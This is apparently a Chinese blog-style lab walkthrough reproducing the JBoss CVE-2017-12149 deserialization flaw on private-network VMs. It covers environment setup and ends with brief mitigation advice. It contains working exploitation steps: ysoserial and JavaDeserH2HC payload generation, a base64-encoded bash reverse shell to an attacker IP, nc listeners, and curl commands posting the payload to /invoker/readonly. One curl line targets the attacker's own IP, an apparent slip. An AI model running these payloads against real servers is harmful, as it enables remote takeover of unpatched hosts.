Jboss反序列化漏洞复现(CVE-2017-12149)
//一共尝试了三种方式
一:
(一)漏洞描述
漏洞为java反序列化错误,存在于jboss的Httplnvoker组件中的ReadOnlyAccessFilter过滤器中,该过滤器在没有对用户输入的数据进行安全检测的情况下,对数据流进行反序列化操作,进而导致了漏洞的发生
(二)漏洞影响版本:jboss 5.x、jboss6.x
(三)漏洞复现环境搭建
Win7 192.168.87.145 //建议在Win7,win10个人尝试过,页面解析不了
1.安装java环境,并测试
(1)JDK,可以到官网下载:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
根据版本下载对应的JDK //我win7是64位的
(2)配置环境变量
win+R,输入sysdm.cpl --> 高级-->环境变量
-
变量名:CLASSPATH //大小写都行
变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar; //前面有个点"."
-
变量名:Path //在里面加上
变量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;
-
变量名:JAVA_HOME
变量值:C:\Program Files\Java\jdk1.8.0_301
(3)测试环境
cmd,输入java、javac、java -version, 显示成功就说明环境没问题 //win10 ,javac执行不了是因为每个变量后面会自动加上; ,so
这样就ok了,
2.搭建jboss环境
(1)http://jbossas.jboss.org/downloads/ 下载jboss-as-6.1.0-final
(2)解压放在一个目录下(C:\ve\jboss-6.1.0.Final)
(3)新建环境变量
-
变量名:JBOSS_HOME
变量值:C:\ve\jboss-6.1.0.Final
在Path中加入 :%JBOSS_HOME%\bin;
(4)配置好环境变量后,在C:\ve\jboss-6.1.0.Final\bin下打开cmd,输入call run.bat,出现下图表示启动成功
3.先在本地测试,在浏览器中输入127.0.0.1:8080
//win中,端口都是开放的,默认是关闭状态,有程序需要时,会自动打开。so,在cmd启动后,在浏览器中输入IP:port即可(查看端口使用状态命令:netstat -ano)
4.因为默认不能远程访问,所以我们需要修改一下配置文件,
位置在:jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml ,改成如下即可:,然后重启jboss
5.测试远程访问,ok~
6.访问http://192.168.87.145:8080/invoker/readonly,若显示如下HTTP Status 500,则说明存在漏洞
7.使用工具测试利用漏洞,工具下载地址:https://github.com/yunxu1/jboss-_CVE-2017-12149 或 反序列化测试工具
(1)verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串
(2)直接使用jboss反序列化_CVE-2017-12149.jar
执行其他命令,出现中文会乱码,可以输入命令chcp 65001,减少乱码
8.漏洞防护
1、升级jboss版本
2、不需要的http-invoker.sar组件,可以删除
二:
靶机:win7 192.168.87.145:8080
测试机:kali 192.168.87.128
(1)下载漏洞利用工具 http://scan.javasec.cn/java/JavaDeserH2HC.zip,解压放在kali桌面,进入JavaDeserH2HC目录下,然后下载执行生成二进制的payload文件
输入:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//javac命令执行不了,输入:apt install default-jdk ;centos执行不了,输入:yum install java-devel
(2)继续输入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.87.128:4444
//ip地址为Kali地址(ifconfig查看),端口为随机监听,不冲突就行,用来进行反弹shell
(3)重新打开一个终端,输入监听端口的命令:nc -lvvp 4444
(4)向靶机发送payload: ,成功则会返回监听结果 // –data-binary的意思是使用curl命令向/invoker/readonly提交payload
curl http://192.168.87.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
三,
反弹shell
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化,so,我们用常规Java反序列化漏洞测试方法来复现该漏洞。
(1)编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码
利用工具:http://www.jackson-t.ca/runtime-exec-payloads.html
(2)构造生成payload,使用ysoserial来复现生成序列化数据
java -jar ysoserial.jar CommonsCollections5
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
(3)监听端口:nc -lvvp 6666
(4)发送payload:curl http://192.168.87.145:8080/invoker/readonly --data-binary @poc.ser,查看监听结果